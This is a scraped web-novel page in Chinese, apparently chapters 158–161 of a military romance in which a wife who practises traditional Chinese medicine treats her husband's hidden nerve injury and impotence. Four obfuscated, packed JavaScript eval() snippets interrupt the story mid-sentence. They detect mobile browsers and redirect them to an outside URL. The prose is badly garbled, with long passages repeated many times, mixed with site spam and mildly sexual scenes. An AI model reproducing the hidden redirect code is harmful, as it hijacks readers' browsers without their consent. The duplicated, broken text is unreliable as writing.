她瘫软在地捂着酸痛的胳膊冷汗涔涔。沈晚垂眸冷睨她一眼像跨过垃圾般直接从她腿上跨了过去。 沈晚走到霍沉舟的病房前深吸一口气推开门。 霍沉舟正靠在床头看书听到动静抬眸的瞬间他的呼吸仿佛都停滞了差点脱口而出"阿晚"但话到嘴边又硬生生咽了回去。 沈晚将他欲言又止的模样尽收眼底面无表情地将离婚申请书放在床头柜上："签字吧。" 霍沉舟拿起离婚申请书每翻一页他的心就像被刀割一样抽疼。 "都想好了？"他声音沙哑。 沈晚冷笑一声："这不就是你想要的吗？我现在是成全你。咱俩办完手续我会搬出家属院。" 霍沉舟皱了皱眉："我现在受伤还要住院你可以继续在家属院住着。而且小川肯定舍不得得多给他点时间接受。" 听到小川的名字沈晚眼神微动但很快又恢复平静："快签吧小川那我会说清楚的。" 她边说边仔细观察着霍沉舟的微表情想从中观察到什么。 但是男人面无表情只是抓着离婚申请书的手微微颤抖。 沈晚从兜里掏出刚才顺手拿的笔递了过去霍沉舟抬起手接过笔又迟疑了半天抬头看了看沈晚。 对方微微皱眉："快点签吧。"语气平静得没有一丝留恋。 霍沉舟胸口起伏了一下缓缓提起笔要签—— 沈晚的心随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241226|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着笔尖的移动渐渐沉入谷底。 她看着那支笔在纸上划出第一道横线只觉得呼吸都停滞了不自觉咬住下唇。 就在这时病房门突然被"砰"地推开！ 林静姝和霍文渊被顾战陪着进来林静姝一下子就察觉到病房内气氛的不对劲开口问道："沉舟小晚你们干什么呢？" 两人都默契地没说话。这时林静姝看见霍沉舟手上的文件心中生疑："沉舟你手上是什么？" 她走过去一看越看越 不对劲，直接抢了过来。翻到第一页，"离婚申请书"几个大字赫然映入眼帘。 林静姝顿时感觉两眼一黑："混小子，你疯了？真敢和小晚离婚？" 她说着又捂住胸口踉跄了两步。霍文渊连忙扶住她，对霍沉舟道："你看你把你妈气的！" 沈晚担心地还想上前检查一下林静姝的身体，林静姝摇摇手："我没事，小晚。" 然后她就把手中的离婚申请书扔在了地上，"你要是敢离婚，我们就当没有你这个儿子！我们把小晚当成亲闺女，给她再介绍一个对象！" 顾战此时也懵圈了，团长不是要转院去省城治疗吗？为什么突然要和嫂子离婚？他下意识看向霍沉舟，对方递给他一个眼神。 顾战理解团长这是不让他多嘴，只能强压下心头的困惑闭上嘴。 两人之间的眼神互动，被沈晚敏锐地捕捉到了。她立即猜到顾战肯定知道内情，心里顿时有了打算。 她轻轻拉住气得发抖的林静姝："妈，您现在的病可不能动气，需要静养。" 林静姝反握住她的手："小晚，你放心，我们替你做主！这个混小子要是非要离婚，咱就离！反正他也配不上你！你看看你，长得又漂亮，医术又好，离婚就算带个娃娃也不愁嫁！" 沈晚被婆婆这番话逗得哭笑不得，霍沉舟听着也有点无奈，一周前父母还对这个儿媳满腹怨言，现在倒好，他这个儿子反而成外人了。 第一百五十八章 了解真相 但是他心里没有半分不满，反而涌起一阵欣慰，阿晚终于被父母真心接纳了，这样以后至少多两个人对她好。 林静姝白了一眼床上的霍沉舟："你就自己在这自生自灭吧！小晚，咱们走。" 她说着，拉着沈晚和霍文渊就往门外走。 顾战连忙和霍沉舟打了声招呼，赶紧追了出去。走了几步之后，沈晚突然停下："爸妈，我和顾战有话说，你们先到车上等着。" 林静姝看了一眼跟在后面的顾战，点了点头："好。" 顾战看着向自己越走越近的沈晚，心里没来由地紧张，不自觉地咽了口唾沫。 "嫂、嫂子……" 沈晚在离他一步远的地方站定："顾战，我知道你清楚内情。现在告诉我，霍沉舟到底怎么了？" 顾战的额头渗出细密的汗珠："嫂子，我真不清楚啊。" "看着我的眼睛再说一遍，"沈晚上前一步，不知是不是和霍沉舟待久了的缘故，她身上也带着那种不怒自威的气势，"你真的不知道吗？" 顾战更紧张了，后退一步："嫂子，你别这样……" 沈晚直视着他的眼睛："顾战，你也看见了，霍沉舟想和我离婚。如果你再不说实情，那我就和他离婚。如果你愿意看到这个后果的话。" 这番话像重锤般砸在顾战心上。 一方是团长的命令，一方是嫂子的恳求，如果说了就是违背军令，可如果不说…… 沈晚见他仍在犹豫，故意叹了口气："你不说也没关系，我不逼你。" 她转身作势要走。 "嫂子！"顾战连忙叫住她，咬牙道，"我说！但是我也只知道其中一部分……" 沈晚心中松了一口气，她还真怕顾战一直严守军令，守口如瓶，她看了看四周，见有人经过，便道："到这边来说吧。" 顾战看着沈晚的背影，叹了口气，下定决心，就算泄密之后被团长罚，他也认了！ 他快步跟了过去。 两人来到安静的楼道里，沈晚靠在墙上看着他："说吧，你知道什么？" 顾战压低声音："其实我知道的也不多，就是听到团长要转院去省城。" 沈晚皱了皱眉："转院？为什么转院？" "我也不清楚，团长 不告诉我。"顾战如实道，"但是我听到他和董院长是这么说的，还说要去找懂中医的老专家看看。" 沈晚越听心情越沉。 照顾战说的，霍沉舟肯定是伤情出现了变故，而且严重到需要瞒着她去找其他专家！ 但是究竟是什么病，竟然需要霍沉舟瞒着她，去找别人治病？ 沈晚想不通。 顾战见她一直垂眸沉思，忍不住哀求道："嫂子，你可千万别和团长离婚啊！他肯定是有什么苦衷的！你们俩要是离婚了，我就再也不相信爱情了！" 他苦着一张脸，虽然最初对沈晚印象不好，但经过这些日子的相处，早已对她彻底改观。 他是真心觉得沈晚和团长是天造地设的一对，也是第一次见霍沉舟对一个女人如此上心。 沈晚被他这副模样逗得心情稍缓，拍了拍他的肩膀："放心吧，我心里有数，今天的事谢谢你了，不然我到现在还被你们团长蒙在鼓里。" 顾战挠挠头："不用谢。那嫂子，你现在要去干嘛？" 沈晚淡淡道："我去找董院长。" 和顾战道别后，沈晚径直来到董建林办公室。 董建林正在翻阅医书，查找治疗霍沉舟病情的方案，听到敲门声头也不抬："进。" 沈晚推开门进来。 董建林头也不抬地问道：“什么事？” 见来人没有回应，董建林这才抬起头。 发现是沈晚，他顿时有些心虚，连忙站起身笑眯眯道："沈同志，有什么事吗？" 沈晚反手关上门，单刀直入："董院长，我想和您聊一下霍沉舟的伤势。" 董建林搓了搓手："噢噢，这样啊。其实霍团长后腰的伤势恢复得挺好的，骨折已经在愈合，软组织损伤也消得差不多了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241227|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按照目前的恢复速度，再休养一段时间就能出院了。" 沈晚似笑非笑："真的只有这样吗？" 董建林推了推眼镜："昂，还有什么？" 沈晚："既然霍沉舟的伤势恢复得很好，为什么还要把他转院到省城，找老专家看？" 董建林没想到沈晚竟然知道这件事了，轻咳一声："你都知道了？" “嗯，所以别瞒我了董院长，霍沉舟到底是哪里的问题？我检查过他的身体，明明 没什么问题。 沈晚急切地追问，她对自己的医术有绝对自信，因此更加困惑，到底是什么样的病症，会让霍沉舟宁可选择离婚这样决绝的方式，也要独自去省城治疗？难道是什么疑难杂症？ 董建林面露难色，搓着手在办公室里踱了几步："这.我本来答应了霍团长不告诉你的。但既然你都直接问了，我就说了。 霍团长的腰伤看起来不重，但实际上压迫到了骶神经，可能会造成某些功能障碍。" 沈晚下意识皱了皱眉：“某些方面？ 董建林尴尬地说："具体来说，就是会影响夫妻生活，甚至导致不举，省城有老专家是这方面的权威，所以霍团长想转院去省城。" 沈晚一愣，竟然是因为这个原因…… 她太了解霍沉舟了，那个在床笫之间总是带着几分野性骄傲的男人，每次都能把她折腾得求饶。 如今却要面对可能不举的现实，这对他的自尊该是多大的打击。 难怪他突然提出离婚，难怪他最近情绪总是很低落，原来一切都有预兆，只是她一直被蒙在鼓里。 沈晚心中又酸又涩。 既生气他独自承受痛苦不告诉她，又心疼这些天他内心经受的折磨。 她甚至可以想象，这个骄傲的男人是如何在深夜里辗转反侧，最终选择用最笨拙的方式推开她。 董建林观察了一下沈晚的脸色，连忙安慰："沈同志，你先别伤心。这个病是能治好的，我们联系了省城的专家，他们在这方面很有经验。" 第一百五十九章 治你的不举之症 沈晚轻吸一口气，眼神重新变得坚定："董院长，转院就先别转了，我给他治。" "啊？"董建林一愣，"沈同志，你也懂这方面吗？" "我没有临床实践过，但是大致的方向我懂。" 从中医角度，不举多是肾阳虚衰、宗筋失养所致，需要温肾壮阳、活血通络。可以通过针灸，配合淫羊藿、肉苁蓉等药材调理。 药物治疗的同时，爱人的情感支持与亲密接触更是不可或缺的良药，既能缓解患者焦虑，又能通过肌肤之亲刺激经络，可谓身心同治。 董建林见她胸有成竹，立即拍板："好！就由你来治。你是他最亲近的人，治疗起来肯定事半功倍！" 从院长办公室出来后，沈晚径直回到自己的中医顾问室，开始专心制定治疗方案。 而此时病房里的霍沉舟，正望着地上那份离婚申请书出神，他试图弯腰去捡，但腰间的剧痛让他只能无力地躺回床上。 霍沉舟苦笑着闭上眼，脑海里全是沈晚的小脸。 他终于没忍住侧身躺下，把脸埋进枕头里，一滴滚烫的泪终于没忍住，悄悄滑落在雪白的枕套上，洇开小小的水痕。 接下来一整天，沈晚果然没再来过病房，估计是对他已经失望透顶了，霍沉舟昏昏沉沉地躺在病床上，半睡半醒间，只觉得心里空落落的。 傍晚时分，他突然感受到一只温热的手探上自己的额头。 霍沉舟缓缓睁开眼，正对上一双清澈的杏眸，那张日思夜想的小脸就出现在眼前，正一眨不眨地看着他。 "阿晚？"他恍惚地轻唤，还以为是在做梦。直到抬手触碰到她细腻的脸颊，那真实的温度才让他猛地回过神。 不是梦。 霍沉舟立即恢复了冷淡的态度，把手收了回来："你怎么来了？拿离婚申请书的吗？我现在签。" 他挣扎着想坐起来，却被沈晚轻轻按住。 霍沉舟疑惑地看向她："怎么了？" 话音未落，沈晚突然掀开被子，一只手迅速往他身下探去。 霍沉舟被她这突如其来的动作吓了一跳，下意识就要去拦，但是根本拦不住沈晚。 "呃."霍沉舟闷哼一声，整个人都僵住了。 沈晚抬眸看他："有什 么感觉吗？" 霍沉舟耳根瞬间通红喉结剧烈滚动着他难以置信地看着眼前这个大胆的小女人一时间竟说不出话来。 沈晚又问了一遍："有没有什么感觉？" 霍沉舟耳根通红声音沙哑："有……有点麻……" 沈晚收回手："知道了。" 霍沉舟抿着唇看她："你到底想干什么？" "治你的不举之症。" 霍沉舟皱眉："谁告诉你的？" "你先别管谁告诉我的"沈晚打开饭盒"等把你治好了你再和我离婚也来得及。" 霍沉舟眼底黯然："如果治不好呢？" "有我在你担心什么？"沈晚把饭菜摆好"先吃饭吧。"她把饭放在床头柜便坐远了一些。 霍沉舟看着热气腾腾的饭菜 "吃过了。"沈晚语气平淡。 她现在心中还有气呢自然不会这么轻易地原谅霍沉舟。 霍沉舟食之无味吃了几口便放下了筷子。 他盯着面前小女人的侧脸灼热的视线让沈晚再也无法忽略转头瞪他："看什么看？" 但是看起来一点威慑力都没有反而更有几分娇俏的感觉。 霍沉舟垂眸掩下眼底的笑意："你现在是不是心里很恨我？" 沈晚冷笑："不恨不就是离个婚吗？我长得这么漂亮离了婚再找个好男人也不难。最好找个医生这样我们俩还能一起开个诊所再生个可爱的女儿给小川当妹妹。" 霍沉舟听她这么说心里比伤口疼还难受忍不住道："你能不能等等我？给我半年时间如果我治好了我就重新追你。如果我治不好我保证不会阻止你找别人。" 沈晚听到霍沉舟这么说忍不住皱了皱眉："你凭什么认为我会等你？" 闻言霍沉舟沉默了。 他低下头长长的睫毛在眼前投下一片阴影整个人像只被抛弃的流浪狗连肩膀都垮了下来。 沈晚看他这副可怜样子也不忍心再说什么重话："行了先治好病再说吧。你这个其实并不严重主要是腰椎损伤压迫了神经导致功能障碍。但只要坚持针灸和复健是能恢复的。" "治疗期间最好有意识地刺激神经。比如早上是身体最敏感的时候可以适当自己刺激一下身体。" 沈晚说得含蓄但霍沉舟都听懂了。他耳根泛红抿了抿唇：“好我知道了。” 霍沉舟乖巧地点头那双丹凤眼此刻湿漉漉地望着她像只做错事的小奶狗。 虽然沈晚看见他这副模样就很想上前抚摸一顿但她并不打算这么轻易地就原谅他所以忍住了蠢蠢欲动的手。 见沈晚不说话霍沉舟又小声问："那你每天都会来看我吗？" "你现在是我的病人"沈晚公事公办道"我当然要每天来帮你治病。医药费也要算清我不白给人治病的。" 霍沉舟立刻可怜兮兮地说："家里的钱在哪你都知道你都拿走吧不用给我留。" 沈晚："" 这架势怎么搞得她像个强取豪夺的强盗似的！ 她没好气地瞪他一眼：“这都是我应得的！” 等沈晚要离开时霍沉舟的目光像黏在她身上似的眸中此刻写满了不舍薄唇微微张合最终却什么也没说。 沈晚狠下心头也不回地转身走了。房门关上的瞬间 偌大的单人病房顿时陷入沉寂。还没过去五分钟霍沉舟就已经开始想那个小女人了。 第二天一早霍沉舟早早醒来。 想到昨天沈晚吩咐他的事情男人舔了舔干燥的嘴唇努力去回想之前的感觉脑海里全是沈晚那张俏丽的小脸和窈窕的身材…… 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 "治疗期间最好有意识地刺激神经。比如早上是身体最敏感的时候，可以适当自己刺激一下身体。" 沈晚说得含蓄，但霍沉舟都听懂了。他耳根泛红，抿了抿唇：“好，我知道了。” 霍沉舟乖巧地点头，那双丹凤眼此刻湿漉漉地望着她，像只做错事的小奶狗。 虽然沈晚看见他这副模样就很想上前抚摸一顿，但她并不打算这么轻易地就原谅他，所以忍住了蠢蠢欲动的手。 见沈晚不说话，霍沉舟又小声问："那你每天都会来看我吗？" "你现在是我的病人，"沈晚公事公办道，"我当然要每天来帮你治病。医药费也要算清，我不白给人治病的。" 霍沉舟立刻可怜兮兮地说："家里的钱在哪你都知道，你都拿走吧，不用给我留。" 沈晚："" 这架势怎么搞得她像个强取豪夺的强盗似的！ 她没好气地瞪他一眼：“这都是我应得的！” 等沈晚要离开时，霍沉舟的目光像黏在她身上似的，眸中此刻写满了不舍，薄唇微微张合，最终却什么也没说。 沈晚狠下心，头也不回地转身走了。房门关上的瞬间，霍沉舟眼底的光也暗了下去。 偌大的单人病房顿时陷入沉寂。还没过去五分钟，霍沉舟就已经开始想那个小女人了。 第二天一早，霍沉舟早早醒来。 想到昨天沈晚吩咐他的事情，男人舔了舔干燥的嘴唇，努力去回想之前的感觉，脑海里全是沈晚那张俏丽的小脸和窈窕的身材…… 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 "治疗期间最好有意识地刺激神经。比如早上是身体最敏感的时候可以适当自己刺激一下身体。" 沈晚说得含蓄但霍沉舟都听懂了。他耳根泛红抿了抿唇：“好我知道了。” 霍沉舟乖巧地点头那双丹凤眼此刻湿漉漉地望着她像只做错事的小奶狗。 虽然沈晚看见他这副模样就很想上前抚摸一顿但她并不打算这么轻易地就原谅他所以忍住了蠢蠢欲动的手。 见沈晚不说话霍沉舟又小声问："那你每天都会来看我吗？" "你现在是我的病人"沈晚公事公办道 霍沉舟立刻可怜兮兮地说："家里的钱在哪你都知道你都拿走吧不用给我留。" 沈晚："" 这架势怎么搞得她像个强取豪夺的强盗似的！ 她没好气地瞪他一眼：“这都是我应得的！” 等沈晚要离开时霍沉舟的目光像黏在她身上似的眸中此刻写满了不舍薄唇微微张合最终却什么也没说。 沈晚狠下心头也不回地转身走了。房门关上的瞬间霍沉舟眼底的光也暗了下去。 偌大的单人病房顿时陷入沉寂。还没过去五分钟霍沉舟就已经开始想那个小女人了。 第二天一早霍沉舟早早醒来。 想到昨天沈晚吩咐他的事情男人舔了舔干燥的嘴唇努力去回想之前的感觉脑海里全是沈晚那张俏丽的小脸和窈窕的身材…… 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 "治疗期间最好有意识地刺激神经。比如早上是身体最敏感的时候，可以适当自己刺激一下身体。" 小说更新，记住域名ｃａｉｘｓ．ｃｏm?(请来才 小说 看最新章节 完整章节) 沈晚说得含蓄，但霍沉舟都听懂了。他耳根泛红，抿了抿唇：“好，我知道了。” 霍沉舟乖巧地点头，那双丹凤眼此刻湿漉漉地望着她，像只做错事的小奶狗。 虽然沈晚看见他这副模样就很想上前抚摸一顿，但她并不打算这么轻易地就原谅他，所以忍住了蠢蠢欲动的手。 见沈晚不说话，霍沉舟又小声问："那你每天都会来看我吗？" "你现在是我的病人，"沈晚公事公办道，"我当然要每天来帮你治病。医药费也要算清，我不白给人治病的。" 霍沉舟立刻可怜兮兮地说："家里的钱在哪你都知道，你都拿走吧，不用给我留。" 沈晚："" 这架势怎么搞得她像个强取豪夺的强盗似的！ 她没好气地瞪他一眼：“这都是我应得的！” 等沈晚要离开时，霍沉舟的目光像黏在她身上似的，眸中此刻写满了不舍，薄唇微微张合，最终却什么也没说。 沈晚狠下心，头也不回地转身走了。房门关上的瞬间，霍沉舟眼底的光也暗了下去。 偌大的单人病房顿时陷入沉寂。还没过去五分钟，霍沉舟就已经开始想那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241228|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小女人了。 第二天一早，霍沉舟早早醒来。 想到昨天沈晚吩咐他的事情，男人舔了舔干燥的嘴唇，努力去回想之前的感觉，脑海里全是沈晚那张俏丽的小脸和窈窕的身材…… 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 "治疗期间最好有意识地刺激神经。比如早上是身体最敏感的时候，可以适当自己刺激一下身体。" 沈晚说得含蓄，但霍沉舟都听懂了。他耳根泛红，抿了抿唇：“好，我知道了。” 霍沉舟乖巧地点头，那双丹凤眼此刻湿漉漉地望着她，像只做错事的小奶狗。 虽然沈晚看见他这副模样就很想上前抚摸一顿，但她并不打算这么轻易地就原谅他，所以忍住了蠢蠢欲动的手。 见沈晚不说话，霍沉舟又小声问："那你每天都会来看我吗？" "你现在是我的病人，"沈晚公事公办道，"我当然要每天来帮你治病。医药费也要算清，我不白给人治病的。" 霍沉舟立刻可怜兮兮地说："家里的钱在哪你都知道，你都拿走吧，不用给我留。" 沈晚："" 这架势怎么搞得她像个强取豪夺的强盗似的！ 她没好气地瞪他一眼：“这都是我应得的！” 等沈晚要离开时，霍沉舟的目光像黏在她身上似的，眸中此刻写满了不舍，薄唇微微张合，最终却什么也没说。 沈晚狠下心，头也不回地转身走了。房门关上的瞬间，霍沉舟眼底的光也暗了下去。 偌大的单人病房顿时陷入沉寂。还没过去五分钟，霍沉舟就已经开始想那个小女人了。 第二天一早，霍沉舟早早醒来。 想到昨天沈晚吩咐他的事情，男人舔了舔干燥的嘴唇，努力去回想之前的感觉，脑海里全是沈晚那张俏丽的小脸和窈窕的身材…… 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 "治疗期间最好有意识地刺激神经。比如早上是身体最敏感的时候，可以适当自己刺激一下身体。" 沈晚说得含蓄，但霍沉舟都听懂了。他耳根泛红，抿了抿唇：“好，我知道了。 霍沉舟乖巧地点头，那双丹凤眼此刻湿漉漉地望着她，像只做错事的小奶狗。 虽然沈晚看见他这副模样就很想上前抚摸一顿，但她并不打算这么轻易地就原谅他，所以忍住了蠢蠢欲动的手。 见沈晚不说话，霍沉舟又小声问："那你每天都会来看我吗？" "你现在是我的病人，"沈晚公事公办道，"我当然要每天来帮你治病。医药费也要算清，我不白给人治病的。" 霍沉舟立刻可怜兮兮地说："家里的钱在哪你都知道，你都拿走吧，不用给我留。" 沈晚："" 这架势怎么搞得她像个强取豪夺的强盗似的！ 她没好气地瞪他一眼：“这都是我应得的！ 等沈晚要离开时，霍沉舟的目光像黏在她身上似的，眸中此刻写满了不舍，薄唇微微张合，最终却什么也没说。 沈晚狠下心，头也不回地转身走了。房门关上的瞬间，霍沉舟眼底的光也暗了下去。 偌大的单人病房顿时陷入沉寂。还没过去五分钟，霍沉舟就已经开始想那个小女人了。 第二天一早，霍沉舟早早醒来。 想到昨天沈晚吩咐他的事情，男人舔了舔干燥的嘴唇，努力去回想之前的感觉，脑海里全是沈晚那张俏丽的小脸和窈窕的身材…… 你的朋友正在书荒，快去帮帮他吧 "治疗期间最好有意识地刺激神经。比如早上是身体最敏感的时候可以适当自己刺激一下身体。" 沈晚说得含蓄 小说更新，记住域名ｃａｉｘs⒀(请来才 小说 看最新章节 完整章节)但霍沉舟都听懂了。他耳根泛红抿了抿唇：“好我知道了。” 霍沉舟乖巧地点头那双丹凤眼此刻湿漉漉地望着她像只做错事的小奶狗。 虽然沈晚看见他这副模样就很想上前抚摸一顿但她并不打算这么轻易地就原谅他所以忍住了蠢蠢欲动的手。 见沈晚不说话霍沉舟又小声问："那你每天都会来看我吗？" "你现在是我的病人"沈晚公事公办道"我当然要每天来帮你治病。医药费也要算清我不白给人治病的。" 霍沉舟立刻可怜兮兮地说："家里的钱在哪你都知道你都拿走吧不用给我留。" 沈晚："" 这架势怎么搞得她像个强取豪夺的强盗似的！ 她没好气地瞪他一眼：“这都是我应得的！” 等沈晚要离开时霍沉舟的目光像黏在她身上似的眸中此刻写满了不舍薄唇微微张合最终却什么也没说。 沈晚狠下心头也不回地转身走了。房门关上的瞬间霍沉舟眼底的光也暗了下去。 偌大的单人病房顿时陷入沉寂。还没过去五分钟霍沉舟就已经开始想那个小女人了。 第二天一早霍沉舟早早醒来。 想到昨天沈晚吩咐他的事情男人舔了舔干燥的嘴唇努力去回想之前的感觉脑海里全是沈晚那张俏丽的小脸和窈窕的身材…… 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 第一百六十章 裤子脱不脱 渐渐的，霍沉舟额头沁出一层薄汗。 顾战来给他送早饭，自从昨天和沈晚告密后，他此刻看见霍沉舟总有一丝心虚。 进病房后，他一直没敢直视霍沉舟的眼睛，把早饭放在桌上，丢下一句"团长，您趁热吃"就往外溜。 谁知道身后的男人冷不丁开口："站住。" 顾战后背一僵，慢慢转过身："团长，还有事？" 霍沉舟靠在床头："昨天你和阿晚说什么了？" 顾战见瞒不了，也不打算撒谎，低着头道："团长，您就罚我吧，罚我再去巡一个月山也行！" 霍沉舟抬起一只手，比了个二的手势。 顾战苦了脸："啊？两个月啊？团长，这是不是太长了？" 霍沉舟默不作声，又缓缓伸出一根手指。 顾战连忙摆手："我错了我错了团长！不该讨价还价的！两个月就两个月！" 幸好霍沉舟没有继续加码，顾战擦了擦额头的冷汗，总算松了一口气。 上次让他巡山一个月，每天都要背着几十斤的装备在深山里走十几里路，既要排查边境线上的异常情况，又要记录野生动物踪迹，晚上还得在哨所里写巡查日志，差点没把他累趴下。 霍沉舟开始低头吃饭。他吃饭很斯文，哪怕吃的是很接地气的小米粥和咸菜，依然吃出一副**子弟的气质，每一口都细嚼慢咽。 顾战在旁边观察了一下他的脸色，试探地问："团长，你和嫂子不离婚了吧？" 霍沉舟抬眸看了他一眼："不知道。" 顾战心里惆怅——团长的事比他自己家里的事还愁。最近苏琴杉一直催促着回老家，他只能借口还要照顾团长，一直拖延着。 等霍沉舟吃完饭后，顾战就把饭盒顺手拿出去了。 上午的时候，沈晚来了，她进门后，开始一脸正经地问霍沉舟："早上试了吗？" 霍沉舟耳根微红，别开脸："嗯。" "有反应吗？"沈晚拿出病历本开始记录。 "有一点。"霍沉舟的声音几乎是从牙缝里挤出来的。 沈晚笔下不停："具体什么感觉？" "就是……"霍沉舟难得露出窘迫的神情，“有一点胀。” 相比霍沉舟的不自然， 沈晚看起来神情自若，完全一副公事公办的态度："以后每天早上都要试，我要记录变化。" 霍沉舟默默点头，耳尖还泛着红。 沈晚转身铺开针包："现在我要帮你扎针了。" 再转身时，她看见霍沉舟已经利落地脱掉了上衣，露出精壮的胸膛，小麦色的皮肤在晨光下泛着健康的光泽。 "裤子脱不脱？"他哑着嗓子问，手指已经搭在了裤腰上。 沈晚扫了一眼就移开视线："不用了，露出小腹就行。" 霍沉舟便乖乖地把病号服裤子往下拨了拨，露出线条分明的人鱼线和紧实的小腹。 沈晚先检查了一下霍沉舟的腰伤。 她的指尖轻轻落在霍沉舟的后腰处，微凉的触感让他浑身肌肉瞬间绷紧。 那纤细的手指沿着脊椎缓缓下移，在伤处周围按压检查时，霍沉舟呼吸都停滞了，太久没碰过她了，仅仅是这样的触碰就像火星溅入干草堆，燎得他浑身发烫。 “放松。 霍沉舟喉结滚动，额角渗出细汗。 她身上淡淡的香气萦绕在鼻尖，比最烈的酒还让人晕眩。 沈晚仔细检查完腰伤，开始施针。 银针精准刺入肾俞、关元、三阴交等穴位，手法娴熟轻柔："这针补肾阳，会有点酸胀感。" 霍沉舟闷哼一声，确实感到一股暖流自针处蔓延开来。 当银针刺入气海穴时，他明显感觉到身体发热，某种沉睡已久的感觉正在苏醒。 "最后这针很重要。" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248165|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说着，将最长的一根针缓缓捻入中极穴，霍沉舟倒吸一口凉气，额角渗出细汗，这针感实在太强烈了！ 沈晚观察着他的反应："看来效果不错。" 霍沉舟感受着身体明显的变化，心中对沈晚能治好自己的信心又增添了几分。 此刻两人距离极近，沈晚正专注地调整针位，纤长的睫毛在眼下投下淡淡的阴影。 霍沉舟看着近在咫尺的娇颜，终于按捺不住，伸手轻轻将她往自己这边带了带。 沈晚猝不及防，一只手下意识撑在他结实的胸膛上，手心触碰到饱满紧实的胸肌，那手感让她不自觉地捏了捏。 那轻柔 的触感像电流般窜遍全身激起一阵战栗他清晰地感受到每个细胞都在叫嚣着渴望眸色逐渐暗沉下来："阿晚" 我沈晚回过神后迅速抽回手："你这还没恢复好呢小心扯到伤口！" 霍沉舟眸底泛起笑意：“你在关心我。” 沈晚瞪他："滚！" 霍沉舟被凶了也不恼只是静静看着面前的小女人眼神温柔得能滴出水来。 这时 沈晚接过来："谢谢董院长。" "没事这有啥谢头。" 沈晚把药罐盖子打开将黑褐色的药汁倒入碗中端到病床前："喝了吧。" 霍沉舟低头抿了一口随即皱起眉头："苦。" 沈晚一脸不信："你装的吧？之前给你熬中药都不嫌苦的。" 霍沉舟脸不红心不跳："可能是因为这次的药材太苦了。"他故意又抿了一小口眉头皱得更紧"真的特别苦。" "那也没办法良药苦口利于病快喝吧凉了药效就差了。" "那你喂我吧你喂我我就不嫌苦了。"霍沉舟眼巴巴地望着她。 一旁的董建林顿时觉得自己还挺多余的心里唯一的想法就是：他不应该待在病房里他应该在地缝里。 第一百六十一章 我发现你真可怜 他刚想说"我去找人问问有没有冰糖"，下一秒，沈晚已经心软地把碗夺了过来，当真一勺一勺地喂给霍沉舟喝。 明明是苦涩的中药，霍沉舟却喝得像什么琼浆玉露般，嘴角还噙着满足的笑意，每喝一口，他嘴角的笑意就多几分，仿佛喝下去的不是药，而是蜜糖。 喂完药，沈晚把碗放在一边。 霍沉舟见她又要走，很不舍地拉住她的衣角："能不能再待会？" "不行，"沈晚轻轻抽回衣角，"你爸妈那边我还要去解释一下，让他们不要太担心。" 霍沉舟闻言也说不出挽留的话了，只能眼巴巴看着沈晚离开病房。 小说更新，记住域名ｃａixs**(请来才 小说 看最新章节 完整章节) 沈晚走出病房后，**连忙跟了上来："沈顾问！" 沈晚回头看见是他，笑了笑："张医生，怎么了？" "你和霍团长和好了吗？"**沉声问。 沈晚知道他是好心："算是解开了一些误会，前几天是因为我们之间有些沟通问题。但也算不上完全和好。" **闻言了然地点点头："明白了。" 他犹豫了一下，"沈顾问，其实前天晚上，我我在看见你那么伤心后，冲进病房打了霍团长一拳。" 沈晚怔了一下，下意识打量了一下**瘦削的身体："你打他了？" **轻咳一声，不好意思地点点头："嗯，打了他脸一拳。" 沈晚这才想起霍沉舟的嘴角确实有一点淤青，她本来以为是出任务导致的，没想到是被**打的。 她记得**以前是很害怕霍沉舟的，竟然会为了她去打霍沉舟，心中不免感动："谢谢你啊张医生。" **连忙摆手："我就是看不得他欺负你。" 